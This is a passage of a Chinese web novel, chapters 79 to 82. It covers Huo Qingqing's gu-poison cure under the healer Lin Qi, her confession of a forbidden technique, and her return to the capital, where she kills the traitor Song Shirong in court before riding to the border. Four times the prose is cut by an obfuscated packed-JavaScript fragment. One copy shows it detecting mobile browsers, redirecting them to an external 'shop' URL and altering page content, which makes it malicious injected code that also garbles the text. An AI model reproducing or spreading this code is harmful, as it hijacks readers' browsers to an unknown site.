霍青青眉目柔和,那双桃花眼中带着坚定:“治啊,有劳蔺前辈费心了。” “好丫头,杏林老怪怎么找上你的?要不别在他门下了,转投我门下,我教你用蛊,到时候若是有人欺负你,你就放蛊咬他。”蔺弃神色轻松,将那陶罐打开。 陶罐里蠕动着一只小半个拇指大小的暗色蛊虫。 他拉过霍青青的手在指尖划破一道口子滴下几滴鲜血。 那蛊虫似是嗅到了什么一般,在罐子里团团转,最后趴在罐子底下开始吸食滴下来的鲜血。 “果真没猜错。”蔺弃轻嗤一声:“是傀教的手笔,你娘,是傅长安?” 霍青青点点头神色坦然:“是,风雨楼傅长安。” “难怪杏林老怪会出山保你,有这份渊源,他怕是费了不少心力。”蔺弃看着罐子里的鲜血被吸食殆尽,伸手扣住那蛊虫,挑起来放在霍青青手腕上:“让它熟悉你,今日便算完了。” “你身上那蛊毒只是余毒。傅长安当年中蛊时,杏林老怪也来找过我。傀教蛊毒向来阴毒,又是数百年前古族所养所传,我虽被称一句当世蛊医,也难治这般老东西。” “我未见你时,还以为你已经快被蚕食殆尽,今日一见你便知你身上带的毒比我想的更轻。” 蔺弃审视着霍青青,目光锐利:“傅长安,做了什么?” 在如此目光下,霍青青心知无法隐瞒,许是察觉到她心绪,顾衍悄然于桌下握住她另一只手慢慢扣住。 霍青青抬起头,望向蔺弃的眼中丝毫无惧:“是用了禁术。” 她此言一出,屋中冷下来。 “禁术?风雨楼自诩江湖正道,私下里竟为一人便要害百人性命吗?”他霍然起身,惊了趴在霍青青腕上的蛊虫。 霍青青只觉伤口忽然一痛。 “前辈,我娘并未害许多人性命。她只制下一个药人替我试药解毒。” “一个?”蔺弃一怔:“若是一个,那必然是频繁试药,他又如何扛得住如此毒物?” 霍青青笑得有些艰难:“是啊……很痛。” 蔺弃重新坐下,靠在椅背上抬手遮住眼睛。他从顾衍口中听闻霍青青救阜州水患又给许多无家可归者一个落脚处,顾衍说得对,这般人不该死。 可方才,她口中禁术,是要百人试药,遂一时以为是她为了赎罪。 如今看来不然,他该想到,若傅长安当真那般心狠,杏林老怪就不会想方设法为她女儿制药压制余毒。 “那药人,可死了?”蔺弃坐起身,拂袖收了那蛊虫,将它重新装回罐子里盖好。 “尚未。”霍青青垂下眼睫,将宽大的青色袖摆拉下来盖住伤口,她苦笑道:“未死,成了长生教神使。” “难怪……”蔺弃将那陶罐放好,自书架上抽出一本古籍抛到桌案上:“你那药人未死,又入长生教。长生教如今祸乱民间,你少不得与他们沾染。你可知,那长生药与你体内蛊毒一出同源。” 霍青青这才恍然,原来症结便在长生教。 她为查长生教,常与长生教中人相遇,加之青州时又被关在长生教总据点中,蛊毒便越发严重。 饶是只剩那点余毒,也能慢慢开始侵蚀她的身体。 “长生教如今已除,只待我再查些事会将她交出去,她背负了太多条人命,我也保不下她。” 霍青青的声音越发轻,她压着那份颤抖闭上眼,叹出一口气:“我欠她许多,可她又欠了百姓许多。” 蔺弃不置可否,只摆摆手道:“出去吧,我让人给你们腾一间屋子,先住下,每日晨间来喂蛊一次,十日后开始拔除余下的蛊毒。” “开的药早晚一次喝了便好,没开甚么其他的,想必你手中应当有杏林老怪的养身药,晚间搭着我的药一起吃了。” “还有,你让你旁边这人别总死死拽着你,也别让他搁这儿天天把我盯着。我那日说两成是当真两成,如今再看看,许是能有四成,至多一半一半。”蔺弃将手里的一枚铜钱弹出,正中顾衍脑门儿:“说的就是你。她都不怕你怕什么?怂不怂?” “还看?我让你带她去旁的屋子歇着,这是我屋。” 顾衍接住那铜钱看向一边宽袖掩面的霍青青,觉着自己在霍姑娘面前,似是总是面子里子都丢了。 他牵着霍姑娘出屋子时,只听蔺弃懒洋洋地道了句:“她这身子骨可是还得再养养,夜里莫在我院里闹出些动静。若是到时候撑不住,可别怪我。” 顾衍一个趔趄,好在霍姑娘眼疾手快将他扶了一把。 随后还是霍青青将门关上。 刚关上门,又听见里面嘀嘀咕咕的声音道:“还没个小丫头有胆,还什么锦衣卫指挥使。” 顾衍:“……” 好在他不必在霍姑娘面前在乎这些面子里子。 “霍姑娘,别笑了,你再笑我就要哭了。”他把霍青青拉近些,拉下她掩面的宽袖,听着玉镯子叮当声响更无助了。 他拿毒医前辈无法,拿霍姑娘就更无法。 “我们家顾大人面皮薄,就不笑话顾大人了。”霍青青忍住笑,垂眼看着顾衍拉着自己的手不免心软:“不闹顾大人了,待蛊毒除了再同顾大人好好去游山玩水一阵,顾大人觉得如何?” “甚好,京都呆久了,总觉得没见过外间山水。霍姑娘只带着我就好,起居饮食我都能做。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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傅长安死的时候……他应当是最痛苦的吧,所以才在傅长安死后将霍青青也收入门中照顾着。 傅长安身上的蛊毒,他也一样束手无策。 当年杏林老怪求到他这里,不也没用吗? 蛊毒、重伤,哈,命数难逆。 蔺弃又喝了一杯酒,这几日听着他们说人间,他又想去看看了。 霍家那丫头,长得跟傅长安不像,他记得傅长安幼时样貌出众许多,他曾见过一次,便知傅长安非池中物。 霍青青许是像了那个霍什么来着?忘了。 反正是个文人,拿不得刀枪提不得重物。好在性子当是随了傅长安,这丫头性子好得很,还比傅长安沉稳几分。 这想着吧,又觉得好笑。 喏,这丫头一副柔柔弱弱的样子,却把提着几十斤的刀都不喘气的顾衍制得死死的,那顾衍也是出息。 算了,他该好好收拾收拾,待明日给那丫头拔除余毒了。 蔺弃站起身,就着点酒劲儿跌跌撞撞进了屋子,他掩上房门,随手脱了外袍就躺上榻。 蛊毒啊…… 也有人曾找他求长生蛊,长生何来蛊? 如今世道里,百姓易成无根浮萍。 许多人心中念长生心中所想是长生,越念越惘,越想越贪,长生教终是难灭。 79.唤何名 待那蛊虫引蛊时,霍青青才觉出痛来。 她微皱着眉头看那一根隐隐约约显出来的紫色细线,没有吭一声。 顾衍叹出一口气,又怕扰了蛊虫只得偏过头去不看。 “以毒攻毒,好除些。”蔺弃说着,剪出几张干净的棉布蘸了温水擦干净自己手上的血污。 “你体内还有一只蛊虫才是,别小瞧它,它在助你抑毒。配着我前面的药,它应当醒了。” 他也是霍青青来的那日略探了探才发现,她体内除去余毒还有一只蛊虫。只是这只蛊虫是制衡余毒的良药,他便没说。 今日里拔除余毒若是成了,它是要从她身体里出来的。否则,没有余毒了它便成了毒蛊。 霍青青抿唇点头:“我曾在长生教据点被放血养蛊,养的应当是赤蝶蛊,可如今都并未有任何异样,是它的功劳么?” 蔺弃为了以防万一没出去,他坐在边上看着蛊虫在的地方一点点变得乌紫,他伸手按在那根紫色细线当中,等蛊虫跌下来,他才将手放开。 他拿了竹筷子把蛊虫夹起来放到一个空墨碟中,往里面倒了点瓷瓶装着的水。 等这些做完了,他才转过身来接话:“还真是它的功劳,它比赤蝶蛊更强些,也不知杏林老怪是从哪里找来的。你若能活过今日,左右拿它再无用了,不如送我当这次的药钱。如何?” 霍青青无力地笑笑:“好啊,那便赠予前辈。” “好丫头,大方。”蔺弃单拿了一个罐子装这只。 蛊虫难养,好蛊难得。 待他把这只养养,他便又多一只好蛊虫了。 也算是一只换一只,他也心疼拔除蛊毒死的那只。 那只他可是养了好久。 也怪傀教的蛊毒太过厉害,才使得他的蛊虫一命换一命。 观这丫头情形应当还好,今夜里便看她造化了。 后面的事他也拿不准,就不多说了。 霍青青忽然开口道:“前辈,可有能去陈年旧疤的良药?” 蔺弃摩挲着陶罐,看了她一眼:“有,百金一丸,要多少?” “那自是,前辈有多少我要多少。” “那你晚些把钱送来。” “这是自然。”霍青青点头。 “顾衍,走罢。” 还未等霍青青起身,就已被顾衍抱起来,她这时才萎靡下去,软软靠在顾衍怀里。 顾衍抱着她回了房安放榻上后才搬来一个矮凳坐在榻边,他握住她的手靠在脸侧,一瞬不瞬地瞧着她。 “痛?还是困?” “困。”霍青青压下喉头的血腥气,应了这么一个字就将手自他手中抽出来侧过身子朝里睡了。 顾衍伸手提了被子,又看了她背影许久才起身走出去。 他带上门,见着门外守着的霍十一,霍十一见他出来亦没有多问,只看了他一眼。 顾衍悄然出了这方院子,蔺弃正在不远处站着赏夜色。 似是知道他过来一般,蔺弃摸着手中的陶罐慢慢道:“今夜里她会忽冷忽热,或是难捱一些,若是实在撑不住,就吃一粒杏林老怪的保命药先护住心脉。” “以毒攻毒也不是那么稳妥的,我听闻她有癔症,她今夜里怕是会一并发作,你要将她看住。我不知她癔症是因何而起,但定然不简单。这般心结,还需她自己去解开。切记,莫让她伤了自己才是。” “也不必来找我,我已尽力,余下的便只能看她造化。你且回吧,我在这儿等你不是要看着你来我面前哭,就是将这些同你说,省得大半夜扰人清梦。” “晚辈记下。” …… 霍青青夜里果真忽冷忽热起来,她咬牙硬撑着,蜷在榻上角落里。 顾衍想靠近却被她推开。 “顾衍。” 夜里的灯火被她宽袖挥得忽明忽暗,玉佩环摇曳着,随着她的动作叮当作响。她站起身扶住背后的墙壁坐下,独自喘息着。 体内像是冰火两重天,让她的意识一点点模糊起来。 她看到七月初七时,霍无双带着她溜出门去看乞巧的花灯,那时……就是那时。傀教余孽把霍无双当成她掳走,那时便有月浅在。 爹再找到霍无双时,霍无双已被划花了脸,那张与她如出一辙的脸上血肉翻卷,她看了她一眼。 那夜里,她也是这般缩在角落里,她不敢再去看霍无双,她害怕。 她不敢再看霍双一眼,她记不清那天后面发生了什么,只记得霍双看她的那双眼睛里,冰冷得吓人。 那时太小,她不知道那是什么。 后来才知晓,那是名为恨意的东西。 只那一次。 那种眼神只有那一次。 “青青……” “霍青青!” 有人……有人在叫她。 她听到有风哭嚎,有人黄沙漫卷里卷起血腥气金戈声。许许多多的哭声像个漩涡,叫嚣着要把她拖下深潭。 霍青青的呼吸急促起来,濒死的感觉,她也曾有过一次。 她的手下意识抓住一截浮木,扣得很紧不愿放开。 活下去! 她得活下去,去问她为什么。问她为什么要残害那么多无辜的人。问她,她明明倾尽所有给她,她到底想要什么。 周身开始暖起来,霍青青才觉得轻松些。她捱得艰难,却始终有人把她抱着,他声音时急时缓,在耳边起伏。 她下意识攥住他的衣襟挣扎着。 她好像总给人带去灾祸,霍无双是,将离也是。 若非是她,他们又如何会受伤? 长生教神使……霍无双。 若没有霍无双,没有用她的血养赤蝶蛊就没有所谓长生药,也不会有这么多百姓破茧。 他们不会死。 或许……该偿命的是她。 “顾衍,我是不是该替她偿命?”霍青青蜷缩在他怀里,仰头看他。 “我不知她被掳走后发生了什么。我只知道那张脸上鲜血淋漓。我也怕,怕得很。” “是月浅,那时,月浅在。” “她一定在。” “她问我,脸上的疤怎么好了我便知道,是她的手笔。是她动的手。” “她被将离,杀了。” “霍无双……她想借长生教的手除了我,不对、不止于此,不对……” 霍青青脑子里很乱,似有无数人在叫嚣着要她去死。 她抬手就要打上自己的头,却被顾衍死死握住。 “该死的从来都不是你。”顾衍抱着她,哪怕她挣扎得再凶,顾衍都将她抱住。 “将离。” “什么?”顾衍没听清。 “将离。”霍青青推开他跌跌撞撞站起身:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾衍听着她偶有惊梦时叫出一声霍无双,或是在问为什么。 他没用得很,这般情形又只能放她一个人独自去扛。 他许是……当真不如雁将离。 他们没那么多羁绊,只有那时一句可要试试。 如此说来,她始终惦记着雁将离,是应当的。 他什么都没做过,不像雁将离曾同她一起携手并肩同生共死。也不像霍十一与她纵横江湖,相伴数载。更不像霍清风,以哥哥的名义守她此生。 他只是顾衍。 霍青青看上他的脸,喜欢,后来青州学宫随他一起查案。她被长生教带走,他就带人强闯山脉。 或许只是她觉得亏欠。 顾衍长长叹息一声,低下头看着霍姑娘面上被激起些绯红的颜色,一时心中乱起来。 待心头那阵动荡过后,他才微微松开手,好让霍姑娘靠得舒服些。 …… 也不知道过去多久,顾衍恍惚着听着霍姑娘在叫他。 他睁开眼,正对上霍青青那双带着担忧的桃花眼。 她见他醒了才松了一口气,抬起手点在他眼下轻轻摩挲,笑道:“顾大人可醒了?” 80.请命书 顾衍拉下她的手。 此刻,已是天光大亮了。 “可还好?” 霍青青勾起唇角退开了些。 她那青色的衣摆携着几点天光微微晃动。 “昨夜心里太乱了,可有伤到顾大人?” 顾衍看着她模样,放下心来,可又想起昨夜里她那模样,一时笑得有些艰涩。 他伸手扣在她腰间,将她又抱到怀里,低下头埋在她肩头,声音又闷又低:“没事的,没有伤到。” “霍姑娘想在谷中休养多久?朝中之事,若是可以便先放放罢。我们来世外谷中已有这大半月了,待你休养好了,我们再回去也不迟。” 霍青青覆上他的手背,摩挲着上面浅浅的疤痕,自略散开的袖口爬上他的手腕,摸到几道长长的伤痕。 她依稀记得昨夜里,那无光无月的深潭下,她抓到一截浮木,扣得很紧,不愿放开。 这道道的伤痕,又是因她而起。 就像那时留青山山脉里,他来时似地下爬出来的厉鬼,倒提着他那柄染血的绣春刀,鲜血滴了一路。 他拖着那身鲜血行到高台下为她辟开一块干净的地方,随后将她稳稳接住。 初时他一袭绛红飞鱼服鲜衣怒马,后来他玄衣如鬼魅。 青州宴时,他换上她喜欢的月白锦衣,赠她一场风月。 如今,他平日里还是爱穿着他那袭干净利落的玄衣拥她入怀。 他们都经风月、见霜雪,是这人间客。 她低头看着他许久,又想起昨夜里她心中最后那点秘密。 她俯下身,搂住他的脖颈,在他耳畔道:“顾衍,我要赶紧回去,守城门、救将离。” “将离不能死,大煜不能破,京都不能陷。” “我不想再看到五年前的血流成河生灵涂炭,也不想再看到黄沙埋骨,血肉荼靡。” “顾衍,我得走。” “顾衍,你答应我,若我披甲上阵,你替我守城门守百姓守霍家。” 霍青青紧紧攥着他的衣襟,勾起他散落下来的发,吻在他唇上,又自唇上游移着下滑到他的脖颈。 她在唇齿间低语:“顾衍,你也要护好你自己。” “太多的事因我而起,我要去还下许多债。” “顾衍,你听到了吗?顾衍……” 顾衍叹息着将她拥得更紧。 他早该想到的。 他家霍姑娘从不是拘泥于情爱的人。 她心中装着的永远是百姓,在向着她最初的那一条路,一直前行,从未迷惘从未放弃。 最后,也变成了许多人不见五指的黑夜里那盏明亮灯火。 她该是他们引路的灯火。 “好。”顾衍的声音喑哑,只这一字却胜过其他许多许多。 “那霍姑娘想几时走?” “三日后启程,我怕生变。我不知我猜得是否正确,但尽快回京最好。”霍青青自他怀中爬起来,微整理了下摆。 她迈出一步,忽觉天旋地转。 好在顾衍早有准备,将她稳稳扶住。 “霍姑娘想去何处?我做个代步便是。” 霍青青被他逗笑了,索性攀上他的脖颈,凑到他耳畔轻声道:“自是……吃饭。我饿了。” 顾衍耳垂红起来,手略松了松将她抱到矮凳上,蹲下身将她的佩环理顺:“那霍姑娘且坐好了,我去做了端来可好?” “那便劳烦顾大人了。” 顾衍挑眉,微微仰首看着她,星目中带了点揶揄的笑意:“刚来世外谷时,霍姑娘是怎么在周婆婆面前叫我的?再叫一句听听可好?” 霍青青将他的眼睛遮住,然后落了个吻在自己手背上:“不叫了,那时觉得叫顾大人太奇怪,叫顾衍也奇怪,便随口叫了那么一句。不顺口。” “就一声,我想再听听。我觉着听着比顾大人好听些。” 借着外间天光,顾衍眼前虽被霍青青用手挡住,却也窥到那点光亮。 霍姑娘轻柔的呼吸落在他面上,微凉的唇掠过他脸侧,在他耳畔停住,随后他便听着她轻飘飘地叫了句:“顾大人,我觉得这样叫好听。” 顾衍耳垂红得快要滴血,他忙不迭起身避开霍青青,他退出几步就瞧见他家霍姑娘那双桃花眼弯弯,颊边梨涡浅浅。 “那、那便这样叫,随你喜欢。” 霍青青看着他脚步匆匆不由觉得好笑,顾大人明明极易羞涩,还偏生喜欢装着风流模样来撩拨她。 这就叫偷鸡不成,蚀把米。 今日里吃的饭食,霍青青只在心里评了一句,能入口。 顾大人做的饭菜,能吃。 遂第二日里,还是去了周婆婆院子蹭饭。 因着这几日给霍青青补身体,周婆婆院中堆了好些柴火,或是炖鸡或是煮鱼。有时一日里做得多,就送去各处,蔺弃也常来一起吃了喝点小酒。 这些时日顾衍和霍十一还是不对付,霍青青知晓这两人打不起来,也就不再干涉了。 这样的日子过着时日过得太快,一晃便是三日过去,他们该启程回京都了。 待跟蔺弃和周婆婆辞行,霍青青如来时那般翻上飞雪的背,她坐在马背上轻扯缰绳。 飞雪转过头来,听着她道了一句:“飞雪,走了,回京都见破月,随后同我去边关,寻将离。” 飞雪愉快地打了个响鼻撒开蹄子狂奔起来。 顾衍不甘落后,须臾便也打马追过去。 霍十一落在后面,遥遥看着那一抹青影,也扬了马鞭,随她一同踏上晨光落下的那条大道。 又是一年深秋了,天光之下,天地之间,他侍奉了数年的姑娘似是找到了她的良人。 他同十三楼许多人都一样,姑娘喜欢,那便够了。 …… 京都之中,已是风声鹤唳,城中禁军日夜巡视,城中早已戒严。 有风声说是白沙关那方起了乱,更有好事者说他就是自白沙关那方来的,那方关隘将破,锋锐骑溃败雁将军重伤失了踪迹,也不知多久能打到京都。 或许一个月,或许两个月。 归时行得急,一路借十三楼据点行了方便,路上接下好几只小青鸽,写满了前方战事。 待到霍青青和顾衍一行飞驰到京都门口时,京都已落下一场小雪,是今岁初雪。 “开城门!” 霍青青一袭青裙伏在马背之上大喝一句。 今日守城的是霍家门生,自是认识她的,见她如此大张旗鼓地回来也是知晓她意,便赶紧吩咐了底下的人拉开城门。 城门洞开后,飞雪踏进城中,一时马蹄急促,在青石道上叩出声声回响。 飞雪未歇,路上无人敢拦,它便一路急奔直入皇宫大门。 霍青青于殿前勒马,正逢明顺帝怒摔了一个折子。 “混账,如今边关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可带兵一事,也确不能儿戏,他倒不在意男女,只是他也不能草率放她去前线。 “先平身吧,容朕想想。” 霍承阳将她带起来,皱着眉头看着她:“青青,此事非同小可,你莫要让皇上为难。你既知战事,那我且问你,可有人选?” 霍青青垂下眼睫,又看向朝堂之上文武百官,不由笑道:“朝中无人,只有我当得。” “徐从风徐将军退至封地已久,概不问朝堂事。可如今烽烟起,若是踏破白沙关,他不会置之不理。只是他已年迈,再出山没打上几场也拿不准南羌铁骑如今如何。我请旨,是因为……我自能为将帅。” 她言语间轻而有力,有一众人随霍十一入殿。 “你们,何人?” “在下莫家庄少庄主莫天俞携莫家庄中人前来请命。” “柳庄柳三刀亦请命。” “我们接霍楼主英雄帖,自请随霍楼主往白沙关守关。” 霍十一呈上一个乌木盘,里面是一折请命书,明顺帝打开来,竟是许多用朱笔签上的名姓,有响当当的江湖侠客,也有那许多百姓。 青色狼头盖印其上,是霍青青。 “臣女先领人稳军心,皇上,徐将军那方,太傅不日便回,届时再前来援我与将离。” 她面容平静,看着明顺帝慢慢道:“将离如今生死未卜,锋锐骑只余军师坐镇守关,我稳军心,待援军。” 霍青青接过魑递来的破甲锥,划过一弯银弧,破甲锥尖端点在地面:“诸位,如何?” 81.赴边关 朝堂之上,霍青青一袭青衣落拓,风采卓然。 身后便是许多江湖中人。 莫天俞白衣当先,兰浔紫衣飒飒,柳三刀大刀依旧,含笑而立。 “江湖本不涉朝堂事,可若有敌来犯,我等自当为先。”莫天俞拱手一礼,十足的江湖礼,与这朝堂自是格格不入。 “曾有天子守国门,女子也赴战,如今女子何不能挂帅?还是说……除我之外,还有将?”霍青青破甲锥掠出银芒,那双桃花眼里尽是锋芒。 她一席话将朝臣的嘴堵了个严实,一时无人敢言。 只看她微收了锋芒,环视一周,笑道:“宋尚书可还有什么想说的?或说……宋尚书通敌叛国,可想好怎么狡辩了吗?” 刹那间兵戈起,皇城之中已乱作一锅粥。 “通敌叛国?”宋世荣拢着手淡然笑道:“霍小姐说这话可有证据?总不能一张嘴就将我定罪。” “宋尚书底牌到底是什么呢?在皇城外的几百号人还是皇城内安插的暗桩?”霍青青眼眸微眯,破甲锥直抵他咽喉:“宋尚书,若再不出手,可就当真出不了手了。” “哐当”一声,霍青青的破甲锥被打开,立于宋世荣身边的户部尚书竟拔出软剑来,瞬时与霍青青缠斗在一起。 “天俞,带人护好圣上,待我先除了内忧再往外除外患。” “我办事,你且放心。”莫天俞朗笑一声双鞭如龙。 朝堂之上纷乱起来,隐于暗处的侍卫尽出与宋世荣的人缠斗在一起,文官纷纷避开锋芒。 大殿太小,兰浔紫绫绕上几方柱子,借力在其间急掠。 她紫绫出袖缠上霍承阳腰间将他甩往明顺帝那方,莫天俞和柳三爷再将他们牢牢护住护住。 户部尚书软剑席卷,霍青青浅笑着,手中破甲锥如灵蛇,刁钻且速度极快。 “你……”户部尚书艰难挡下她一击,只吐出一个字便又被她击退数步。 “我?”霍青青眼眸弯弯,颊上笑出一个浅浅的梨涡:“我如何?霍家小姐身子弱不禁风,在南面庄子上养了这许久,身中难解蛊毒,那毒已开始侵蚀五脏六腑。她是不是这样说的?” 户部尚书还未回话,就见她破甲锥又急袭而来。 忽又上挑,带着无匹锋芒,自上而下兜头砸下。 他往后疾退,那软剑被狠狠砸落地上砸出一个坑洞。 霍青青将破甲锥提起,甩甩手:“太久没使破甲锥,手生了。” “如今,还想做何?”她一锥刺透户部尚书肩胛,将他钉在柱子上:“外间也开始了……” 她喃喃着,听着外间隐有厮杀声,一时还有那火药炸开的声响,引得地下都是一颤。 “无兵……宋世荣,你以为,无兵就无人敢往吗?”霍青青的声音回荡在大殿上,她一锥洞穿户部尚书胸膛,挑起人往旁边一甩,又砸退一人。 “宋世荣,你通敌叛国造假军报,致使两国起兵,攻我白沙关滏南关,阻我边关急件,你可知罪?” 霍青青提声怒问,朝着被护住的宋世荣步步紧逼。 “你助纣为虐,你伙同贺乾共起长生教,致使长生教于民间害人无数,许多百姓死于非命,你可知罪?” 她眼眸微红,又将一个死士刺穿:“你陷大煜于危急之中,攻我皇城,联合霍无双害我锋锐骑将领雁将离,致使他重伤失去踪迹,你可知罪?” “为何反?大煜既有明君,为何要反?贪得无厌,可百姓何辜?大煜何辜?” 在她归来之前,何桃送来那一叠罪证,霍承阳早呈与明顺帝。 两相起兵,霍清风分身乏术,可竟是虚晃一枪,大部兵力在白沙关。 将离……将离这才重伤失了踪迹。 霍青青手中破甲锥握得越发紧,她终于站在了宋世荣面前。 她拖着还在滴血的破甲锥,在地上发出刺耳的声响。 “宋大人,你可还有什么要说的?” 她话落,眉一挑,破甲锥直直洞穿宋世荣眉心。 她忽然道:“顾大人,找你抓人怎的这时才来?” 顾衍一手拎着宋世荣,一手倒提着他的绣春刀:“我不知这老匹夫何来的这么多人,便多花了点时辰。” 他身后跟着的是伍行和宋无忧。 霍青青看了他一眼便转过头,将破甲锥负于身后:“那剩下的,就交给顾大人了。” 明顺帝立在龙椅前,福公公不知何时捧来一方木盘。 他将盘中圣旨拿起,他走过来穿过一地血色,将这一卷圣旨奉予霍青青。 “说来也可笑,大煜竟还要一个二十不到的小丫头来救,是我无能。青丫头,白沙关和大煜,便交予你了。” 明顺帝弯下腰去,长长一揖。 霍青青接稳圣旨坦然受下,将他扶起:“皇伯伯言重了,我此番也为救将离。还要多谢皇伯伯放他生路。” 明顺帝摆摆手,又看向方才厮杀的江湖义士,也是一揖:“也谢各位来援,大煜才得安。” 许多人散开去没敢受下,莫天俞将双鞭一扛打了个呼哨:“不敢当,我等还要随青青去战场,就不耽搁了。圣上既是明君,我们乃大煜子民,也当护上一护。” “小青儿,我们该走了。” “各位,即刻出发。” 霍青青行至殿门口,忽被人拉住手腕。 她回头便瞧见顾衍那双好看的星目:“怎么了顾大人?可还有什么要说的?” 顾衍的手紧了紧又松开,看着她缓缓道:“没什么。小心些,等我来援。” “好啊。”霍青青一笑,转过身去,带着她的人走出一片狼藉的大殿。 她行在天光下,纵然地上血肉荼靡,也难染她裙摆。 那一袭青衣照见生机。 顾衍蹲下身,绣春刀扎透宋世荣腹部,冷笑一声:“宋世荣,你千般算计可曾算到我家青青?可曾算到她手下十三楼?可曾算到那长生教神使还有一丝良心?” “她助你做假军报,助你通敌叛国,也助你在皇城之中埋下这么些人,可……她始终还留有一丝清明。” “你看,你始终斗不过霍家。” 他说着,看着宋世荣挣扎着淌下更多的新鲜的血迹,自他身下淌出来。 顾衍握住刀柄,转了一圈,又笑道:“长生教,求长生。宋大人,你也想求长生吗?求长生,求高位,同贺乾一起谋划这两年,多少人死在你们手下?你们才是最该偿命的。” 他说得轻巧,将刀拔出,看着宋世荣缓慢爬起,靠在柱子下喘息着。 “贺乾……”宋世荣笑了,他低头看着自己被血浸透的朝服觉得好笑:“贺乾是个蠢货啊,明明能将雁将离教成听话的傀儡,却生生将他逼成了守关将军。若非他蠢,南羌又如何会败?” “哈?”顾衍嗤笑一声,眸中带出缱绻情意:“若没有他,守关的,当是青青。锋锐骑将领,也该是青青。” 宋世荣的眼中还带着惊异,却一点一点失去了生机。 顾衍不由笑叹:“宋世荣啊宋世荣,你跟贺乾都未曾想到,最大的变数,是我家青青吧。” 他抬手揉着脖颈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721651|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,捡起自己的刀站起身,拍手间,收尾的死士聚拢来。 “这地方留给他们收拾,你们随我再去外间清理其他的。方才我家青青带着人杀出那一条路,还需有人去给她断后。” 顾衍提着刀,听见霍承阳将他叫住。 他转身看去,霍承阳握着手中长刀直直看着他:“顾衍,你定要护好青青。” 顾衍一笑:“好,岳父大人。小婿再耽搁不得了,若有罪,待我回来再论。” 霍承阳一抬手就将刀朝着他扔来,顾衍瞬时握住绣春刀一挡将刀打落在地。 …… 官道之上,马蹄急踏。 为首一人青衣翻飞,她背上青布裹着一个物件,低伏在马背上。 她身后跟着衣装各异的上百人,有粗布麻衣之人,也有那一身利落背上负兵器的江湖人。 紫衣女子纵马往她身边,低声道:“小青儿,且慢些,有人跟不上的。” 霍青青往后看了一眼,许多人已落下一截,便稍稍放慢了些。 她眉头微蹙:“不若我先行一步,我去稳军心,你带着他们后面再来也可。那方耽搁不得了,将离还在等我。” “飞雪和听雪同出一处,如今边关危急,它也急。”霍青青说着,又见空中有两道白影如电坠下。 她抬手一拦,疾风稳稳当当落在她手臂皮质护臂上。 “想来,滏南关那方,我哥腾不出手,那我们便更要快些。疾风骤雨也可当助力,我哥可真是……”霍青青无奈地看着天空上跟着盘旋的骤雨,忽然抬手将疾风抛飞:“它们认得去白沙关的路,让它们先行一步找将离和听雪。” 见着疾风骤雨几下就消失在空中,霍青青才一勒缰绳,又跑出去。 兰浔再追不上她,只得落在后面同莫天俞和柳三爷一行。 她扬声道:“我们家霍楼主,先行一步往锋锐骑军中稳军心了。诸位便随我前往吧。” “你说他们那些朝廷中人,竟说霍楼主身子弱,到底是怎的传开的?”有人打趣了一句。 “身子弱也是后来了,傀教蛊毒凶猛,若非毒医前辈出手,小青儿怕也好不了这么快。” 兰浔深知是蔺弃拔了余毒,霍青青又喝了好些苦药,加之吞下杏林医老数枚好药才能在这半月里生生养到这般好。也是这一时而已,那边又耽搁不得,等事情了了,小青儿怕是又得修养好一阵。 柳三爷摸了摸他的刀不由开口道:“兰楼主,青青妹子这身子骨当真养好了?” “养好了一半,怕是晚些回来还要将她看好了。到时大家可莫要找她喝酒才是。” 柳三爷闻言连连答应。 又有人笑:“你说这一番下来,朝廷那些个文武百官怕是看到霍楼主都要退三分了。” 莫天俞嗤了一声:“若是让他们知晓青青早年将我们这些个江湖里有名有姓有头有脸的都打了个遍,还不得把他们吓出个好歹来啊。是吧?霍十一霍七?” 霍十一没说话,只纵马前跑。 霍七开口笑道:“那可不,楼主早年可是曾跟雁将离千里奔袭的。” “若要说,南羌铁骑怕雁将离玄枪,更怕青青妹子那破甲锥啊。” 一行人也知边关要紧,但又怕扰了军心,便一路插科打诨将霍青青早年事迹说了个遍,从她打赢小天魁说到一双破甲锥同雁将离退南羌铁骑。 …… 这方的霍青青纵着飞雪早已跑出很远,近冬日的凛冽风中,她伸手拍着飞雪的脖子,在它耳边低语:“飞雪,再快些,将离在等我,听雪在等你。” 82.破甲锥 白沙关天遥路远,如今已入冬,关隘这方寒风凛凛。 往来的风卷起白沙,怒号在关口,五万锋锐骑便是驻扎在此处。如今的白沙关,城关斑驳,人去城空。 晏枕带着锋锐骑后撤一步,已退至祁南城内。 既到此处,那便再退无可退。 夜里忽然惊起一阵号角,城关之上烽火接连点起,晏枕轻甲未卸立于其上。 他腰悬一把长刀,看往那方看不到尽头的夜色里。 有兵士捧来弓箭,他接过来。 翻卷的乌云下,他看不清底下的人。 雁将离于一月前与南北两方铁骑鏖战十余日后失了踪迹生死未卜,如今锋锐骑中只余他一人,关内粮草将尽,也不知还能撑多久。 “晏军师,夜色太暗了,瞧不清。” 